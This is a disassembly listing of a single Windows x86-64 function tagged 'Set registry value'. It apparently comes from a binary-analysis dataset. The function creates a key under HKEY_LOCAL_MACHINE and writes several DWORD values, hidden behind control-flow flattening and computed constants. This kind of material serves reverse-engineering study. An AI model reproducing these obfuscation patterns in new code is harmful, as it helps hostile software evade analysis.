Function at 0x1400f7a74
Capabilities:
Set registry value

Disassembly:
push rax
pushf
mov eax, 0xaa849e56
pushf
not eax
add eax, 0xf1bea1ee
xor eax, 0xc7eb9384
rol eax, 0x11
popf
pushf
not eax
add eax, 0xfeeaa11c
xor eax, 0xdec39f78
rol eax, 0xf7
popf
cmp eax, 4
jne 0x1400f7ab1
popf
pop rax
jmp 0x1400f8001
cmp eax, 0
jne 0x1400f7ac0
popf
pop rax
jmp 0x1400f7b83
cmp eax, 3
jne 0x1400f7acf
popf
pop rax
jmp 0x1400f7ee8
cmp eax, 1
jne 0x1400f7ade
popf
pop rax
jmp 0x1400f7cb3
cmp eax, 0xd
jne 0x1400f7aed
popf
pop rax
jmp 0x1400f844f
cmp eax, 7
jne 0x1400f7afc
popf
pop rax
jmp 0x1400f8139
cmp eax, 0xe
jne 0x1400f7b0b
popf
pop rax
jmp 0x1400f84ad
cmp eax, 0xb
jne 0x1400f7b1a
popf
pop rax
jmp 0x1400f8360
cmp eax, 0xc
jne 0x1400f7b29
popf
pop rax
jmp 0x1400f8415
cmp eax, 8
jne 0x1400f7b38
popf
pop rax
jmp 0x1400f81a8
cmp eax, 5
jne 0x1400f7b47
popf
pop rax
jmp 0x1400f8084
cmp eax, 2
jne 0x1400f7b56
popf
pop rax
jmp 0x1400f7dc3
cmp eax, 9
jne 0x1400f7b65
popf
pop rax
jmp 0x1400f81f0
cmp eax, 0xa
jne 0x1400f7b74
popf
pop rax
jmp 0x1400f829a
cmp eax, 6
jne 0x1400f7b83
popf
pop rax
jmp 0x1400f80ba
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x60
mov rbx, rdx
mov rdi, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea rcx, [0x1ad04d992]
pushf
sub rcx, 0x6d01b9a2
popf
call fcn.1400690ef
mov r8, rax
lea rdx, [0x19bdf7b4e]
pushf
sub rdx, 0x5bdc5b5e
popf
lea rcx, [rsp + 0x40]
call fcn.1400edcc3
nop
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.14011e804
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
lea r8, [rsp + 0x38]
mov rcx, 0xffffffff80000002
jmp 0x1400f7c06
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1400f7c5a
push rax
pushf
mov eax, 0x11de8592
pushf
not eax
add eax, 0xdd57bc5c
xor eax, 0xe2956ef9
rol eax, 0x95
popf
pushf
not eax
add eax, 0xc8155a28
xor eax, 0xd5170f00
rol eax, 0x10
popf
pushf
not eax
add eax, 0xace26711
xor eax, 0x99461009
rol eax, 0xd2
popf
jmp 0x1400f7aa2
push rax
pushf
mov eax, 0xbde2171f
pushf
not eax
add eax, 0xb87cbcc2
xor eax, 0x85ce65ac
rol eax, 0xee
popf
pushf
not eax
add eax, 0x8fac5ecd
xor eax, 0xeb0c1b4b
rol eax, 0x90
popf
pushf
not eax
add eax, 0x8d6377b9
xor eax, 0xc46da49d
rol eax, 0x90
popf
pushf
not eax
add eax, 0xfe9b069a
xor eax, 0x9731e2ce
rol eax, 0xe
popf
jmp 0x1400f7aa2
mov byte [rsp + 0x80], 1
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 0x3ec8baf8
pushf
not r9d
add r9d, 0xca6c3b43
xor r9d, 0xac4ab2c9
rol r9d, 0x7c
popf
pushf
not r9d
add r9d, 0xe7d3733f
xor r9d, 0x9052562f
rol r9d, 0xfc
popf
pushf
not r9d
add r9d, 0x88ef40e2
xor r9d, 0xf69cd57e
rol r9d, 0xd1
popf
xor r8d, r8d
lea rdx, [0x1adb7fb23]
pushf
sub rdx, 0x6db4db0f
popf
mov rcx, qword [rsp + 0x38]
jmp 0x1400f7d3c
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400f7d90
push rax
pushf
mov eax, 0xd6a9cee5
pushf
not eax
add eax, 0xa7b1be05
xor eax, 0x8d311945
rol eax, 0x61
popf
pushf
not eax
add eax, 0xfcaab36c
xor eax, 0x9673bdbc
rol eax, 0xba
popf
pushf
not eax
add eax, 0xe1243a81
xor eax, 0xb1dadc94
rol eax, 0x34
popf
jmp 0x1400f7aa2
push rax
pushf
mov eax, 0x684b9f60
pushf
not eax
add eax, 0xa9cf7fcd
xor eax, 0xc2d192d2
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x80a93d10
xor eax, 0x869bf145
rol eax, 0x5a
popf
jmp 0x1400f7aa2
mov byte [rsp + 0x88], 3
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x88]
mov qword [rsp + 0x20], rax
mov r9d, 0xb3309a39
pushf
not r9d
add r9d, 0xe9c9c195
xor r9d, 0x900e12c6
rol r9d, 8
popf
pushf
not r9d
add r9d, 0x82d8819c
xor r9d, 0xb6c34622
rol r9d, 0xe6
popf
pushf
not r9d
add r9d, 0xc1ccbc1b
xor r9d, 0x816e1e6e
rol r9d, 0x21
popf
pushf
not r9d
add r9d, 0x86047a21
xor r9d, 0xb5f9c9c5
rol r9d, 0x4e
popf
xor r8d, r8d
lea rdx, [0x1a71f1792]
pushf
sub rdx, 0x671bf772
popf
mov rcx, qword [rsp + 0x38]
jmp 0x1400f7e65
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400f7ea2
push rax
pushf
mov eax, 0x30280349
pushf
not eax
add eax, 0xaed31a7d
xor eax, 0x93072c89
rol eax, 0xa4
popf
pushf
not eax
add eax, 0x8eb2fd76
xor eax, 0xb3ef41cb
rol eax, 0xfe
popf
jmp 0x1400f7aa2
push rax
pushf
mov eax, 0xd8a9aeb8
pushf
not eax
add eax, 0xc7e265e5
xor eax, 0xad4fe6f2
rol eax, 0x12
popf
pushf
not eax
add eax, 0xb26a51f3
xor eax, 0xd854d44b
rol eax, 0x5c
popf
pushf
not eax
add eax, 0x96d53d61
xor eax, 0xabaae38b
rol eax, 0xbf
popf
jmp 0x1400f7aa2
mov byte [rsp + 0x30], 3
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0x123539c2
pushf
not r9d
add r9d, 0xbe8b368c
xor r9d, 0x9838234f
rol r9d, 0x3d
popf
pushf
not r9d
add r9d, 0xb3aaa455
xor r9d, 0x8fa4fa44
rol r9d, 0xd9
popf
pushf
not r9d
add r9d, 0xc27587ed
xor r9d, 0x81b017c9
rol r9d, 0x82
popf
xor r8d, r8d
lea rdx, [0x1bb2aa9f8]
pushf
sub rdx, 0x7b2789c8
popf
mov rcx, qword [rsp + 0x38]
jmp 0x1400f7f6b
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400f7fbb
push rax
pushf
mov eax, 0xb8fde8
pushf
not eax
add eax, 0x8a7f6877
xor eax, 0xd899e146
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xd34fdcae
xor eax, 0xf9d093f2
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xe72af997
xor eax, 0xd4f60f5d
rol eax, 0x64
popf
jmp 0x1400f7aa2
push rax
pushf
mov eax, 0xdce382a5
pushf
not eax
add eax, 0xee058a67
xor eax, 0xc4db2e52
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xc52c5a59
xor eax, 0x8aec1bb4
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xa1f4a927
xor eax, 0xb2f1f530
rol eax, 0x19
popf
jmp 0x1400f7aa2
mov eax, dword [rdi + 0x10]
cmp qword [rdi + 0x18], 0xf
jbe 0x1400f803e
push rax
pushf
mov eax, 0x1f1b544f
pushf
not eax
add eax, 0xe8c0bdb3
xor eax, 0x95ab892d
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xb0727b47
xor eax, 0xe4f09e7d
rol eax, 0x5a
popf
jmp 0x1400f7aa2
push rax
pushf
mov eax, 0x3bac258f
pushf
not eax
add eax, 0x95b14de2
xor eax, 0xc8ca434c
rol eax, 0x4d
popf
pushf
not eax
add eax, 0x8dc264c3
xor eax, 0xcb0134d2
rol eax, 0x1b
popf
pushf
not eax
add eax, 0x809c9902
xor eax, 0xa5419a4c
rol eax, 0xda
popf
jmp 0x1400f7aa2
mov rdi, qword [rdi]
push rax
pushf
mov eax, 0x2592ec95
pushf
not eax
add eax, 0xb5cd182e
xor eax, 0x9e305569
rol eax, 0x84
popf
pushf
not eax
add eax, 0xbe935c01
xor eax, 0xddeaecf0
rol eax, 0x32
popf
jmp 0x1400f7aa2
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 0x80483418
pushf
not r9d
add r9d, 0xa6cc122c
xor r9d, 0xcde664be
rol r9d, 0x6f
popf
pushf
not r9d
add r9d, 0x802f6b27
xor r9d, 0xb66a5e51
rol r9d, 0x8c
popf
pushf
not r9d
add r9d, 0xbacd0442
xor r9d, 0x981af2f6
rol r9d, 0x32
popf
xor r8d, r8d
lea rdx, [0x19bbfafa2]
pushf
sub rdx, 0x5bbc8f6a
popf
mov rcx, qword [rsp + 0x38]
jmp 0x1400f812f
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400f81a8
mov rcx, qword [rsp + 0x38]
jmp 0x1400f813f
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
jmp 0x1400f81f0
xor bl, bl
push rax
pushf
mov eax, 0x8d6b569c
pushf
not eax
add eax, 0x9823f8d4
xor eax, 0xdaae0d43
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xaa8d12a7
xor eax, 0xc3a3182a
rol eax, 0x55
popf
pushf
not eax
add eax, 0xb78ec2c7
xor eax, 0xc6daf92f
rol eax, 0xf9
popf
jmp 0x1400f7aa2
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400f8241
push rax
pushf
mov eax, 0xa5a3fa0b
pushf
not eax
add eax, 0x96a5c276
xor eax, 0xcda3ce06
rol eax, 0xc
popf
pushf
not eax
add eax, 0xda9d3729
xor eax, 0xcfd39f19
rol eax, 0xec
popf
pushf
not eax
add eax, 0x82e3a072
xor eax, 0xa41f2911
rol eax, 0x42
popf
jmp 0x1400f7aa2
push rax
pushf
mov eax, 0xd6bd689a
pushf
not eax
add eax, 0xe45df7ee
xor eax, 0xb0f476df
rol eax, 0x84
popf
pushf
not eax
add eax, 0xdaeb774a
xor eax, 0xd3d8da6f
rol eax, 0x37
popf
pushf
not eax
add eax, 0x92ac654d
xor eax, 0xbcca8254
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xf5b6e22f
xor eax, 0xc7ab2090
rol eax, 0x69
popf
jmp 0x1400f7aa2
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400f8307
push rax
pushf
mov eax, 0x987f73ca
pushf
not eax
add eax, 0xefbdf590
xor eax, 0xbf2d7e03
rol eax, 0x84
popf
pushf
not eax
add eax, 0xe6b36f16
xor eax, 0xd0329504
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xca82c08b
xor eax, 0xbf911b4a
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xe2f5c098
xor eax, 0xf68627bb
rol eax, 0x4e
popf
jmp 0x1400f7aa2
push rax
pushf
mov eax, 0xe0a9c59e
pushf
not eax
add eax, 0xad66aef1
xor eax, 0xcbc4c8b4
rol eax, 0x75
popf
pushf
not eax
add eax, 0x906485fd
xor eax, 0xe68c6409
rol eax, 0x51
popf
pushf
not eax
add eax, 0xfa4ec7c2
xor eax, 0xa2ff625a
rol eax, 0x99
popf
pushf
not eax
add eax, 0xffbe12a4
xor eax, 0x9450ea25
rol eax, 0xe7
popf
jmp 0x1400f7aa2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400f83ce
push rax
pushf
mov eax, 0x49a068fd
pushf
not eax
add eax, 0xebc19d08
xor eax, 0xc25a62c9
rol eax, 0xa6
popf
pushf
not eax
add eax, 0x8664b1ee
xor eax, 0xadcc0338
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x9daf2391
xor eax, 0xde575b67
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xffd621d2
xor eax, 0xde8d1fd8
rol eax, 0x3e
popf
jmp 0x1400f7aa2
push rax
pushf
mov eax, 0x8aecd70c
pushf
not eax
add eax, 0xc43fa84b
xor eax, 0x93743814
rol eax, 0x53
popf
pushf
not eax
add eax, 0xa93f4cb7
xor eax, 0xa36f7bee
rol eax, 0x29
popf
pushf
not eax
add eax, 0xcd018270
xor eax, 0xc0005e1e
rol eax, 0xfd
popf
jmp 0x1400f7aa2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ae516
push rax
pushf
mov eax, 0xb3a6ca
pushf
not eax
add eax, 0x850f2cc0
xor eax, 0xe52b1607
rol eax, 0xf
popf
pushf
not eax
add eax, 0x9cc87c18
xor eax, 0xdedcacc1
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xd196b339
xor eax, 0x9d95e3d1
rol eax, 0x86
popf
pushf
not eax
add eax, 0xef311f17
xor eax, 0xc6350fc6
rol eax, 0x77
popf
jmp 0x1400f7aa2
movzx eax, bl
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret